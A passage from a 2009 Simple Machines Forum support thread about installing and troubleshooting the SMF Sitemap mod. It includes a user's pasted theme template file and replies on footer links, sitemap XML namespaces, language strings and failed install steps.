;// Output any remaining HTML headers. (from mods, maybe?)
echo $context['html_headers'], '
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
// Create the main header object.
var mainHeader = new smfToggle("upshrink", '
, empty($options['collapse_header']) ? 'false' 'true'');
mainHeader.useCookie('
$context['user']['is_guest'] ? 0');
mainHeader.setOptions("collapse_header", "'
$context['session_id'], '");
mainHeader.addToggleImage("upshrink", "/upshrink.gif", "/upshrink2.gif");
mainHeader.addTogglePanel("user_section");
mainHeader.addTogglePanel("news_section");
// ]]></script>'
;

echo '
<link rel="icon" href="http://www.forexhill.com/forum/Themes/default/images/icons/favicon.ico" type="image/x-icon">
</head>
<body>'
;
if($context['user']['is_guest'] && $context['current_action'] != 'register')
echo '<div id="infobar"><a href="' $scripturl '?action=register"><p>' $txt['regbar_text'] . '</p></a></div>';

//Display ads on the top of the page
if (function_exists("show_topofpageAds"))
{
$ads show_topofpageAds();
if(!empty($ads))
if($ads['type']==0)
echo $ads['content'];
else
eval($ads['content']);
unset($ads);
}


}

function 
template_body_above()
{
global $context$settings$options$scripturl$txt$modSettings;

echo '
<div id="mainframe">
<div class="tborder">
<div class="catbg">

<h1>'
;

if (empty($settings['header_logo_url']))
echo $context['forum_name'];
else
echo '
<img src="'
$settings['header_logo_url'], '" alt="'$context['forum_name'], '" />';

echo '
</h1>
</div>'
;

// Display user name and time.
echo '
<ul id="greeting_section" class="titlebg2">
<li id="time" class="smalltext floatright">
$context['current_time'], '
<a href="#" onclick="mainHeader.toggle(); return false;"><img id="upshrink" src="'
$settings['images_url'], '/', empty($options['collapse_header']) ? 'upshrink.gif' 'upshrink2.gif''" alt="*" title="'$txt['upshrink_description'], '" align="bottom" /></a>
</li>'
;

if ($context['user']['is_logged'])
echo '
<li id="name">'
$txt['hello_member_ndt'], ' <em>'$context['user']['name'], '</em></li>';
else
echo '
<li id="name">'
$txt['hello_guest'], ' <em>'$txt['guest'], '</em></li>';

echo '
</ul>
<div id="user_section" class="bordercolor"'
, empty($options['collapse_header']) ? '' ' style="display: none;"''>
<div class="windowbg2 clearfix floatleft">'
;

if (!empty($context['user']['avatar']))
echo '
<div id="myavatar">'
$context['user']['avatar']['image'], '</div>';

// If the user is logged in, display stuff like their name, new messages, etc.
if ($context['user']['is_logged'])
{
echo '
<ul>
<li><a href="'
$scripturl'?action=unread">'$txt['unread_since_visit'], '</a></li>
<li><a href="'
$scripturl'?action=unreadreplies">'$txt['show_unread_replies'], '</a></li>';

// Is the forum in maintenance mode?
if ($context['in_maintenance'] && $context['user']['is_admin'])
echo '
<li class="notice">'
$txt['maintain_mode_on'], '</li>';

// Are there any members waiting for approval?
if (!empty($context['unapproved_members']))
echo '
<li>'
$context['unapproved_members'] == $txt['approve_thereis'] : $txt['approve_thereare'], ' <a href="'$scripturl'?action=admin;area=viewmembers;sa=browse;type=approve">'$context['unapproved_members'] == $txt['approve_member'] : $context['unapproved_members'] . ' ' $txt['approve_members'], '</a> '$txt['approve_members_waiting'], '</li>';

// Show the total time logged in?
if (!empty($context['user']['total_time_logged_in']))
{
echo '
<li>'
$txt['totalTimeLogged1'];

// If days is just zero, don't bother to show it.
if ($context['user']['total_time_logged_in']['days'] > 0)
echo $context['user']['total_time_logged_in']['days'] . $txt['totalTimeLogged2'];

// Same with hours - only show it if it's above zero.
if ($context['user']['total_time_logged_in']['hours'] > 0)
echo $context['user']['total_time_logged_in']['hours'] . $txt['totalTimeLogged3'];

// But, let's always show minutes - Time wasted here: 0 minutes ;).
echo $context['user']['total_time_logged_in']['minutes'], $txt['totalTimeLogged4'], '
</li>'
;
}

if (!empty($context['open_mod_reports']) && $context['show_open_reports'])
echo '
<li><a href="'
$scripturl'?action=moderate;area=reports">'sprintf($txt['mod_reports_waiting'], $context['open_mod_reports']), '</a></li>';
echo '
</ul>'
;
}
// Otherwise they're a guest - this time ask them to either register or login - lazy bums...
else
{
echo '
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/scripts/sha1.js"></script>
<form class="windowbg" id="guest_form" action="'
$scripturl'?action=login2" method="post" accept-charset="'$context['character_set'], '" ', empty($context['disable_login_hashing']) ? ' onsubmit="hashLoginPassword(this, \'' $context['session_id'] . '\');"' '''>
$txt['login_or_register'], '<br />
<input type="text" name="user" size="10" />
<input type="password" name="passwrd" size="10" />
<select name="cookielength">
<option value="60">'
$txt['one_hour'], '</option>
<option value="1440">'
$txt['one_day'], '</option>
<option value="10080">'
$txt['one_week'], '</option>
<option value="43200">'
$txt['one_month'], '</option>
<option value="-1" selected="selected">'
$txt['forever'], '</option>
</select>
<input type="submit" value="'
$txt['login'], '" /><br />
'
$txt['quick_login_dec'];

if (!empty($modSettings['enableOpenID']))
echo'
<br />
<input type="text" name="openid_url" id="openid_url" size="25" class="openid_login" />'
;

echo '
<input type="hidden" name="hash_passwrd" value="" />
</form>'
;
}

echo '
</div>'
;
echo '<div class="windowbg2 clearfix" align="right">';
//Welcome Ads
if (function_exists("show_welcomeAds"))
{
$ads show_welcomeAds();
if(!empty($ads))
{
echo '<td class="windowbg2">';
if($ads['type']==0)
echo $ads['content'];
else
eval($ads['content']);
}
unset($ads);
}
echo '</div>';
echo '

</div>
<div id="news_section" class="titlebg2 clearfix"'
, empty($options['collapse_header']) ? '' ' style="display: none;"''>
<form class="floatright" id="search_form" action="'
$scripturl'?action=search2" method="post" accept-charset="'$context['character_set'], '">
<a href="'
$scripturl'?action=search;advanced" title="'$txt['search_advanced'], '"><img id="advsearch" src="'.$settings['images_url'].'/filter.gif" align="middle" alt="'$txt['search_advanced'], '" /></a>
<input type="text" name="search" value="" style="width: 190px;" />&nbsp;
<input type="submit" name="submit" value="'
$txt['search'], '" style="width: 11ex;" />
<input type="hidden" name="advanced" value="0" />'
;

// Search within current topic?
if (!empty($context['current_topic']))
echo '
<input type="hidden" name="topic" value="'
$context['current_topic'], '" />';
// If we're on a certain board, limit it to this board ;).
elseif (!empty($context['current_board']))
echo '
<input type="hidden" name="brd['
$context['current_board'], ']" value="'$context['current_board'], '" />';

echo '
</form>'
;

// Show a random news item? (or you could pick one from news_lines...)
if (!empty($settings['enable_news']))
echo '
<div id="random_news"><h3>'
$txt['news'], ':</h3><p>'$context['random_news_line'], '</p></div>';

echo '
</div>
</div>'
;


// Show the menu here, according to the menu sub template.
template_menu();
//Below the menu ads
if (function_exists("show_indexAds") && function_exists("show_towerleftAds") && function_exists("show_towerrightAds"))
{
$ads show_indexAds();
if(!empty($ads))
if($ads['type']==0)
echo $ads['content'];
else
eval($ads['content']);
unset($ads);

//Tower left Ads
$ads show_towerleftAds();
if(!empty($ads))
echo '<table><tr><td valign="top">'$ads['type']==$ads['content'] : eval($ads['content']) ,'</td><td width="100%" valign="top">';

unset($ads);
//Tower Right Ads
$ads show_towerrightAds();
if(!empty($ads))
echo '<table><tr><td width="100%" valign="top">';
unset($ads);
}



// Show the navigation tree.
theme_linktree();

// The main content should go here.
echo '
<div id="bodyarea">'
;
}

function 
template_body_below()
{
global $context$settings$options$scripturl$txt;

echo '
</div>'
;


//Close table for towerright ads
if (function_exists("show_towerrightAds") && function_exists("show_towerleftAds") && function_exists("show_bottomAds"))
{
$ads show_towerrightAds();
if(!empty($ads))
echo '</td><td valign="top">'$ads['type']==$ads['content'] : eval($ads['content']) ,'</td></tr></table>'

unset($ads);
//Close table for towerleft ads
$ads show_towerleftAds();
if(!empty($ads))
echo '</td></tr></table>';
unset($ads);

//Show ads on the bottom of the page
$ads show_bottomAds();
if(!empty($ads))
if($ads['type']==0)
echo $ads['content'];
else
eval($ads['content']);
unset($ads);
}

// Show the "Powered by" and "Valid" logos, as well as the copyright. Remember, the copyright must be somewhere!
echo '
<div id="footerarea" class="headerpadding topmargin clearfix">
<ul class="smalltext">
<li class="copywrite">'
theme_copyright(), '</li>
<li><a id="button_xhtml" href="http://validator.w3.org/check/referer" target="_blank" class="new_win" title="'
$txt['valid_html'], '"><span>XHTML</span></a></li>
<li><a id="button_rss" href="'
$scripturl '?type=rss;action=.xml" class="new_win"><span>RSS</span></a></li>
<li class="last"><a id="button_wap2" href="'
$scripturl '?wap2" class="new_win"><span>WAP2</span></a></li>
</ul>'
;

// Show the load time?
if ($context['show_load_time'])
echo '
<p class="smalltext" id="show_loadtime">'
$txt['page_created'], $context['load_time'], $txt['seconds_with'], $context['load_queries'], $txt['queries'], '</p>';

echo '
</div>
</div>'
;
}

function 
template_html_below()
{
global $context$settings$options$scripturl$txt$modSettings;

echo '
<!-- Start of StatCounter Code -->
<script type="text/javascript">
var sc_project=4345048; 
var sc_invisible=1; 
var sc_partition=55; 
var sc_click_stat=1; 
var sc_security="fb2ed5e1"; 
</script>

<script type="text/javascript" src="http://www.statcounter.com/counter/counter.js"></script><noscript><div class="statcounter"><a title="wordpress counter" href="http://www.statcounter.com/" target="_blank"><img class="statcounter" src="http://c.statcounter.com/4345048/0/fb2ed5e1/1/" alt="wordpress counter" ></a></div></noscript>
<!-- End of StatCounter Code -->
</body></html>'
;
}

// Show a linktree. This is that thing that shows "My Community | General Category | General Discussion"..
function theme_linktree($force_show false)
{
global $context$settings$options$shown_linktree;

// If linktree is empty, just return - also allow an override.
if (empty($context['linktree']) || (!empty($context['dont_default_linktree']) && !$force_show))
return;

//!!! Temporarily don't do it twice.
if (!empty($shown_linktree))
return;
$shown_linktree true;

echo '
<ul id="linktree">'
;

// Each tree item has a URL and name. Some may have extra_before and extra_after.
foreach ($context['linktree'] as $link_num => $tree)
{
echo '
<li'
, ($link_num == count($context['linktree']) - 1) ? ' class="last"' '''>';
// Show something before the link?
if (isset($tree['extra_before']))
echo $tree['extra_before'];

// Show the link, including a URL if it should have one.
echo $settings['linktree_link'] && isset($tree['url']) ? '
<a href="' 
$tree['url'] . '"><span>' $tree['name'] . '</span></a>' '<span>' $tree['name'] .'</span>';

// Show something after the link...?
if (isset($tree['extra_after']))
echo $tree['extra_after'];

// Don't show a separator for the last one.
if ($link_num != count($context['linktree']) - 1)
echo '&nbsp;>';

echo '
</li>'
;
}
echo '
</ul>'
;
}

// Show the menu up top. Something like [home] [help] [profile] [logout]...
function template_menu()
{
global $context$settings$options$scripturl$txt;

echo '
<div id="main_menu">
<ul class="clearfix">'
;

foreach ($context['menu_buttons'] as $act => $button)
{
echo '
<li id="button_'
$act'">
<a'
$button['active_button'] ? ' class="active"' ''' title="'$act '" href="'$button['href'], '">
<span'
, isset($button['is_last']) ? ' class="last"' '''>', ($button['active_button'] ? '<em>' ''), $button['title'], ($button['active_button'] ? '</em>' ''), '</span>
</a>
</li>'
;
}

echo '
</ul>
</div>'
;
}

// Generate a strip of buttons.
function template_button_strip($button_strip$direction 'top'$force_reset false$custom_td '')
{
global $settings$context$txt$scripturl;

// Create the buttons...
$buttons = array();
foreach ($button_strip as $key => $value)
{
if (!isset($value['test']) || !empty($context[$value['test']]))
$buttons[] = '<a href="' $value['url'] . '" ' . (isset($value['custom']) ? $value['custom'] : '') . '><span>' $txt[$value['text']] . '</span></a>';
}

if (empty($buttons))
return '';

// Make the last one, as easy as possible.
$buttons[count($buttons) - 1] = str_replace('<span>''<span class="last">'$buttons[count($buttons) - 1]);

echo '
<div class="buttonlist'
$direction != 'top' '_bottom' '''">
<ul class="clearfix">
<li>'
implode('</li><li>'$buttons), '</li>
</ul>
</div>'
;

}

?>


Thanks for any help.
Title: Re: SMF Sitemap
Post by: SlammedDime on January 15, 2009, 12:23:05 PM
That is not the default template for 2.0 Beta 4, is it?

<ul class="smalltext">
         <li class="copywrite">', theme_copyright(), '</li>
         <li><a id="button_xhtml" href="http://validator.w3.org/check/referer" target="_blank" class="new_win" title="', $txt['valid_html'], '"><span>XHTML</span></a></li>
         <li><a id="button_rss" href="', $scripturl , '?type=rss;action=.xml" class="new_win"><span>RSS</span></a></li>
         <li class="last"><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>
      </ul>';


In the above block of code is where you'll want to add the sitemap link.

Title: Re: SMF Sitemap
Post by: Dr Web on January 15, 2009, 01:41:46 PM
Yes, it is the default template without some part of the code that your MOD deleted when I uninstalled it, some part of the code disappeared with the uninstall, that is because I am asking help, I have no idea which part of the code it deleted, also, you said anything about the other part of the problem, even with the htaccess, the link doesn't work.

Can you take a look in my site if you see the origin of the problem, please?

http://www.forexhill.com/forum
Title: Re: SMF Sitemap
Post by: SlammedDime on January 15, 2009, 02:04:55 PM
The mod didn't delete anything from that section... it looks just like the 'stock' code from the 2.0B4 template...

If you want to add a link to the sitemap, do so after the copyright <li>

         <li class="copywrite">', theme_copyright(), '</li>
         <li><a href="', $scripturl, '">', $txt['sitemap'], '</a></li>

As for the .htaccess, i'll need to see what you used to try the redirect.
Title: Re: SMF Sitemap
Post by: Dr Web on January 15, 2009, 02:17:41 PM
Sorry, I don'tr understand what you mean with the "stock" code from the 2.0B4 template, can you explain please?

I will try to add the link.

I used exactly the code of the instructions of the MOD here => http://custom.simplemachines.org/mods/index.php?action=parse

Just a question, I inserted the code in the htaccess in my root directory, or is on the root directory of the forum?

Ok, now for some reason I can access the file at http://www.forexhill.com/sitemap.xml , but says this "This XML file does not appear to have any style information associated with it. The document tree is shown below.", it doesn't work as on my other site that has SMF 1.1.5 here => http://forums.drpennystock.com/sitemap/

Thanks for your help.
     
Title: Re: SMF Sitemap
Post by: SlammedDime on January 15, 2009, 03:09:36 PM
Quote from: Dr Web on January 15, 2009, 02:17:41 PM
Sorry, I don'tr understand what you mean with the "stock" code from the 2.0B4 template, can you explain please?
I mean the code from your index.template.php in the footer section does not differ from what you would download in a fresh copy of 2.0 Beta 4

Quote from: Dr Web on January 15, 2009, 02:17:41 PMI used exactly the code of the instructions of the MOD here => http://custom.simplemachines.org/mods/index.php?action=parse
Well there is one of your problems.  This mod is not fully compatible with 2.0 Beta 4, as designated by the Version list on the mod's download page.  If you try to follow the index.template.php instructions for your template, you will mess it up.  Use what I posted above to add the sitemap link.

Quote from: Dr Web on January 15, 2009, 02:17:41 PMJust a question, I inserted the code in the htaccess in my root directory, or is on the root directory of the forum?

Ok, now for some reason I can access the file at http://www.forexhill.com/sitemap.xml , but says this "This XML file does not appear to have any style information associated with it. The document tree is shown below.", it doesn't work as on my other site that has SMF 1.1.5 here => http://forums.drpennystock.com/sitemap/

Thanks for your help.
     
Correct, in the root directory of your SITE, not SMF.  As for the 'no style information' message, that is perfectly normal and means it's working as it should.

As for your other site... I see the sitemap just fine.
Title: Re: SMF Sitemap
Post by: Dr Web on January 15, 2009, 04:00:13 PM
Ok, now is just a small detail maybe, because I added the code aboveand I see the Sitemap link, but, it points to http://www.forexhill.com/forum/index.php instead of http://www.forexhill.com/sitemap.xml  , any idea?

Many thanks.
Title: Re: SMF Sitemap
Post by: SlammedDime on January 15, 2009, 04:03:29 PM
sorry, I wasn't thinking... it should be:

         <li><a href="', $scripturl, '?action=sitemap">', $txt['sitemap'], '</a></li>
Title: Re: SMF Sitemap
Post by: Dr Web on January 15, 2009, 04:16:29 PM
No need to apologize, you was a great help for me, many many thanks for the fast responses, you were faster than Schumacher ;D

Cheers
Title: Re: SMF Sitemap
Post by: .HuNTeR. on January 18, 2009, 11:00:34 AM
hi SlammedDime
3 or 4 month ago a build a new site for a friend with smf and installed this mod
and submit it to Google
every time i checked the site status in Google webmaster tools it shows that the sitemap last download X hours ago and sitemap status is OK but none of your sitemap pages are included in Google result
i checked lots of things (preferred domain setting in Google(with WWW or without),  smf permissions ,...)
but nothing
2 or 3 days ago i checked the Google's sitemap syntax and noticed that
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.google.com/schemas/sitemap/0.9">
but in mod we have:
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.google.com/schemas/sitemap/0.84">
and when i correct this after some hours now Google started indexing sitemap URLs (15 URLs indexed)

I'm not completely sure if this is the reason but maybe it should be changed in your mod
Title: Re: SMF Sitemap
Post by: SlammedDime on January 18, 2009, 12:39:12 PM
I've already changed that for the next release, although it shouldn't make a difference.... thanks! :)
Title: Re: SMF Sitemap
Post by: Bancherd on January 19, 2009, 09:51:40 PM
Quote from: SlammedDime on January 18, 2009, 12:39:12 PM
I've already changed that for the next release, although it shouldn't make a difference.... thanks! :)

Hard to believe, but it DOES make a difference.  I changed the "sitemap.template.php" file so it would output "0.9" as per google's example, google's spiders were all over my site within one day. :)
Title: Re: SMF Sitemap
Post by: Jiveturkey on January 20, 2009, 01:41:58 PM
I tried to install this mod on 1.1.7 and I got this error.

The package you are trying to download or install is either corrupt or not compatible with this version of SMF.
Title: Re: SMF Sitemap
Post by: Smoky "Rider" Blue on January 21, 2009, 07:35:19 AM
hey SlammedDime, is this good for the rc??  :P
Title: Re: SMF Sitemap
Post by: SlammedDime on January 21, 2009, 07:55:50 AM
It'll still work on RC1, it just won't install onto the default template until I update it.  I'm going to redo the template page before I release a new version.
Title: Re: SMF Sitemap
Post by: Smoky "Rider" Blue on January 21, 2009, 08:02:34 AM
would be nice "if" colors, or ability besides themers, to change the looks of the sitemap.. maybe??
Title: Re: SMF Sitemap
Post by: Smoky "Rider" Blue on January 21, 2009, 08:16:59 AM
mmmmm Slammeddime.. it failed the index.template.php as the copywrite info is no longer there..  :'(

any tips for now??  :)
Title: Re: SMF Sitemap
Post by: SlammedDime on January 21, 2009, 10:17:32 AM
You'll have to add the link to the sitemap yourself just as I explained to DrWeb above. :)
Title: Re: SMF Sitemap
Post by: Smoky "Rider" Blue on January 21, 2009, 10:20:51 AM
/me isnt awake.. :P

thanks  ;)
Title: Re: SMF Sitemap
Post by: ccraciun on January 22, 2009, 12:36:38 AM
Quote from: .HuNTeR. on January 18, 2009, 11:00:34 AM
...
but in mod we have:
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.google.com/schemas/sitemap/0.84">
and when i correct this after some hours now Google started indexing sitemap URLs (15 URLs indexed)
...
Quote from: SlammedDime on January 18, 2009, 12:39:12 PM
I've already changed that for the next release, although it shouldn't make a difference.... thanks! :)
I guess it's ok to mention that the line may be found in /Themes/default/Sitemap.template.php.
I changed it too, i hope it's ok...

I'm curious what 0.84 / 0.9 means? It's interesting that the info with 0.9 value is found at the address: http://www.google.com/schemas/sitemap/0.84/ :) If you replace the value in the address with 0.9, the page cannot be found.... Is some kind of version, or something?

Thanks
Title: Re: SMF Sitemap
Post by: sombra on January 24, 2009, 11:24:24 AM
hello and thanks for this nice mod.

ive been having an error of sitemap and im lloking to eliminate all error in log

http://todoilegal.net/index.php?action=sitemap
Apply Filter: Only show the errors with the same message
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
Apply Filter: Only show the errors from this file
Archivo: /home/todoile1/public_html/Sources/Sitemap.php
Línea: 42

http://todoilegal.net/index.php?action=sitemap;xml
Apply Filter: Only show the errors with the same message
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
Apply Filter: Only show the errors from this file
Archivo: /home/todoile1/public_html/Sources/Sitemap.php
Línea: 185

http://todoilegal.net/index.php?action=sitemap;start=300
Apply Filter: Only show the errors with the same message
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
Apply Filter: Only show the errors from this file
Archivo: /home/todoile1/public_html/Sources/Sitemap.php
Línea: 42

http://todoilegal.net/index.php?action=sitemap;start=100
Apply Filter: Only show the errors with the same message
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
Apply Filter: Only show the errors from this file
Archivo: /home/todoile1/public_html/Sources/Sitemap.php
Línea: 42

this is somthing i need to worie?
Title: Re: SMF Sitemap
Post by: SlammedDime on January 24, 2009, 12:34:29 PM
Nothing you need to worry about, it's been fixed in the next release.
Title: Re: SMF Sitemap
Post by: hartiberlin on January 24, 2009, 07:38:39 PM
Hi,
when will a fully working version
for SMF 2.0B4 come out ?

Would be nice, if it also works with the PortaMX Portal Mod.

Many thanks in advance.

Regards, Stefan.
Title: Re: SMF Sitemap
Post by: SlammedDime on January 24, 2009, 07:46:03 PM
Quote from: hartiberlin on January 24, 2009, 07:38:39 PM
Hi,
when will a fully working version
for SMF 2.0B4 come out ?

Would be nice, if it also works with the PortaMX Portal Mod.

Many thanks in advance.

Regards, Stefan.
Please read the last few pages of this topic.
Title: Re: SMF Sitemap
Post by: Mihac™ on January 24, 2009, 08:12:15 PM
Quote from: sombra on January 24, 2009, 11:24:24 AM
hello and thanks for this nice mod.

ive been having an error of sitemap and im lloking to eliminate all error in log

http://todoilegal.net/index.php?action=sitemap
Apply Filter: Only show the errors with the same message
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
Apply Filter: Only show the errors from this file
Archivo: /home/todoile1/public_html/Sources/Sitemap.php
Línea: 42

..............................
this is somthing i need to worie?

forgive me, but someone more like it does not work but to work
Title: Re: SMF Sitemap
Post by: SlammedDime on January 24, 2009, 08:18:38 PM
Please remove that copy of the sitemap Mihac.  Thank you.

Edit: I've removed it myself.  Please do not repost it.
Title: Re: SMF Sitemap
Post by: hartiberlin on January 24, 2009, 08:25:55 PM
Hi,
I tried to install the current version 1.3.0
on my Default theme using SMF 2.0B4 with PortaMX 0.952.

When I try to install the sitemap mod I get the following errors:

Installations actions for "SMF Sitemap":
Installing this package will perform the following actions:
      Type    Action    Description
   1.    Execute Code    add_settings.php    
*    2.    Execute Modification    ./index.php    Test successful
      1.    Add Before    ./index.php    Test successful
*    3.    Execute Modification    ./Sources/Admin.php    Test successful
      1.    Add After    ./Sources/Admin.php    Test successful
*    4.    Execute Modification    ./Sources/ManageSettings.php    Test successful
      1.    Add After    ./Sources/ManageSettings.php    Test successful
      2.    Add After    ./Sources/ManageSettings.php    Test successful
      3.    Add Before    ./Sources/ManageSettings.php    Test successful
*    5.    Execute Modification    ./Themes/default/index.template.php    Test failed
      1.    Add Before    ./Themes/default/index.template.php    Test failed
*    6.    Execute Modification    ./Themes/default/languages/Help.english.php    Test successful
      1.    Add Before    ./Themes/default/languages/Help.english.php    Test successful
*    7.    Execute Modification    ./Themes/default/languages/Modifications.english.php    Test successful
      1.    Add Before    ./Themes/default/languages/Modifications.english.php    Test successful
*    8.    Execute Modification    ./Themes/default/languages/Who.english.php    Test successful
      1.    Add Before    ./Themes/default/languages/Who.english.php    Test successful
*    9.    Execute Modification    ./Themes/default/style.css    Test successful
      1.    Add Before    ./Themes/default/style.css    Test successful
   10.    Execute Modification    ./Themes/default/languages/Help.french.php    Skipping file
   11.    Execute Modification    ./Themes/default/languages/Modifications.french.php    Skipping file
   12.    Execute Modification    ./Themes/default/languages/Who.french.php    Skipping file
   13.    Extract File    ./Sources/Sitemap.php    
   14.    Extract File    ./Themes/default/Sitemap.template.php


1. It also says:
If your theme has its own versions of the language files Modifications.english.php and/or Modifications.english-utf8.php, OR
if your using a language other than those supported (listed above) by the mod then you will need to copy the language strings into each custom version of those files.


What does this exactly mean ?
What language strings do I have to copy into which files ?

I want to use the German-utf-8 fonts in my forum,cause
www.overunity.de is a German language forum.



2. it says for the index.template.php file to edit it:


Find

</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">


Add Before

<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>

But I don´t find the upper code in my
index.template.php
file in the Default theme...

Is this code modification just to set the Sitemap button into the menu row at the top ?

Where must it be then placed in the index.template.php in the Default Theme of SMF 2.0B4 ?

Many thanks.

Regards, Stefan.
Title: Re: SMF Sitemap
Post by: SlammedDime on January 24, 2009, 08:28:19 PM
Please see the last page of this topic.  Search if needed.
Title: Re: SMF Sitemap
Post by: Mihac™ on January 24, 2009, 08:30:49 PM
Quote from: SlammedDime on January 24, 2009, 08:18:38 PM
Please remove that copy of the sitemap Mihac.  Thank you.

Edit: I've removed it myself.  Please do not repost it.
No problem, I just made a correction invalid mode.
Title: Re: SMF Sitemap
Post by: hartiberlin on January 24, 2009, 08:48:52 PM
Quote from: hartiberlin on January 24, 2009, 08:25:55 PM

it says for the index.template.php file to edit it:


Find

</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">


Add Before

<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>

But I don´t find the upper code in my
index.template.php
file in the Default theme...

Is this code modification just to set the Sitemap button into the menu row at the top ?

Where must it be then placed in the index.template.php in the Default Theme of SMF 2.0B4 ?



Okay, I added the

<li><a href="', $scripturl, '?action=sitemap">', $txt['sitemap'], '</a></li>
after the copyright line
and applied the mod
and now the Sitemap
comes up, when I click onto:

http://www.overunity.de/index.php?action=sitemap

Okay, now I have to see, what I have to fix in the German UTF-8 Font files.

Hopefully it is documented in this thread.

Many thanks  again for this nice MOD !

Regards, Stefan.
Title: Re: SMF Sitemap
Post by: hartiberlin on January 24, 2009, 09:07:14 PM
So now I switched from English language back to German UTF-8
and then  under

http://www.overunity.de/index.php?action=admin;area=modsettings

there is no more Sitemap admin menu.

Which German language Files do I have to edit to get this
Admin menu to show up again ?

Many thanks.

Regards, Stefan.
Title: Re: SMF Sitemap
Post by: hartiberlin on January 24, 2009, 09:16:28 PM
Okay, Now I saw,
that I had to edit the
file:

domainname.de/Themes/default/languages/Modifications.german-utf8.php

and inserted the copied code from the
Modifications.english.php
file so it now looks like this:

<?php
// Version: 2.0 Beta 4; Modifications

// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Boards';
$txt['sitemap_xml'] = 'Show Sitemap XML link';
$txt['sitemap_topic_count'] = 'Max number of topics to display in sitemap';
$txt['sitemap_collapsible'] = 'Collapse child boards in sitemap';

?>



You still need then to clear the cache to get it to work
under

http://www.your_domain_name.com/index.php?action=admin;area=maintain;sa=cleancache

Now I have these 3 settings in the Modifikation Menu in the Admin panel.

Now I have to try to submit it to Google.

Many thanks again for this nice Mod.

Regards, Stefan.
Title: Re: SMF Sitemap
Post by: chris345 on January 27, 2009, 09:36:50 PM
Hi there, any chance of getting this to work with SMF 2.0 beta 4 with pretty urls mod installed?
Title: Re: SMF Sitemap
Post by: Toadmund on January 27, 2009, 09:47:07 PM
Can I get a hand with these errors:
8: Undefined index: sitemap
File: /home/rever5/public_html/freshdumps/forums/Sources/Sitemap.php
Line: 22

8: Undefined index: sitemap
File: /home/rever5/public_html/freshdumps/forums/Sources/Sitemap.php
Line: 29

Thanks, I've read a good part of this thread, and found nothing specific to this.
Title: Re: SMF Sitemap
Post by: SlammedDime on January 28, 2009, 05:06:07 AM
Toadmund, looks like you're missing the language strings in your Modifications.english.php file, OR, if you have a Modifications.english-utf8.php file, they might be there as well.
Title: Re: SMF Sitemap
Post by: ccraciun on January 28, 2009, 04:57:40 PM
I guess this suggestion (http://www.simplemachines.org/community/index.php?topic=170813.msg1883852#msg1883852) is not ok. After modifying this, i received a warning in webmaster's tools:
"Incorrect namespace
Your Sitemap or Sitemap index file doesn't properly declare the namespace." on line 2.
Line 2 is: "<urlset xmlns="http://www.google.com/schemas/sitemap/0.9">
"
What's wrong with this?
Title: Re: SMF Sitemap
Post by: SlammedDime on January 28, 2009, 05:09:40 PM
After researching a bit, it should be
http://www.sitemaps.org/schemas/sitemap/0.9
Title: Re: SMF Sitemap
Post by: sombra on January 28, 2009, 06:07:36 PM
i have an error installing i used to have the version before and uninstalling gave me error but i keept going becouse it was telling me to modify an archive that the lines didint exist well it went all fine but wen i tried to install the new one it was giving me the same error and telling me to edit the sames lines that dosent existo or i can find

Ejecutar Modificación     ./Themes/default/index.template.php     Test failed
      1.    Agregar Antes    ./Themes/default/index.template.php    Test failed

this is the line



            </td>
            <td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">



i dont see that line in my index.template.php
Title: Re: SMF Sitemap
Post by: SlammedDime on January 28, 2009, 06:29:49 PM
Please see the last couple of pages of this topic.
Title: Re: SMF Sitemap
Post by: sombra on January 28, 2009, 08:55:56 PM
Quote from: SlammedDime on November 18, 2008, 12:36:38 PM
Quote from: Frozt on October 14, 2008, 07:23:01 AM
the only incompatibility with 2.0 Beta 4 is the installation in the index.template.php file?

or is possible install SMF Sitemap 1.3.0 in 2.0 Beta 4 with a modification in that part of the installation and the rest code is compatible with this version of SMF?


In a fresh insall of 2.0 Beta 4 the installation only fail in index.template.php file, in this change:

QuoteFind:

</td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">


Add Before:

<span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>


2.0 Beta 4 have a footer different of 1.1.6


but I try this:

in the line that appear the code that show the link:

XHTML | RSS | WAP2

<li class="last"><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>

I replace that line with:

<li><a id="button_wap2" href="', $scripturl , '?wap2" class="new_win"><span>WAP2</span></a></li>
<li class="last"><a href="'.$scripturl.'?action=sitemap" class="new_win"><span>', $txt['sitemap'] ,'</span></a></li>


and show the Sitemap link like in 1.1.6

XHTML | RSS | WAP2 | Sitemap


After did this I can install SMF Sitemap in 2.0 Beta 4 and aparently it work well



Note: i did this change in the mod package:
unzip smf_sitemap_1.3.0.tar.gz
and edit install.xml file
find this:
<search position="after"><![CDATA[ </td>
<td width="28%" valign="middle" align="', !$context['right_to_left'] ? 'left' : 'right', '">
]]></search>
<add><![CDATA[ <span class="smalltext" style="display: inline; visibility: visible; font-family: Verdana, Arial, sans-serif;"> | <a href="'.$scripturl.'?action=sitemap">', $txt['sitemap'] ,'</a></span>
]]></add>


and remplace by this:
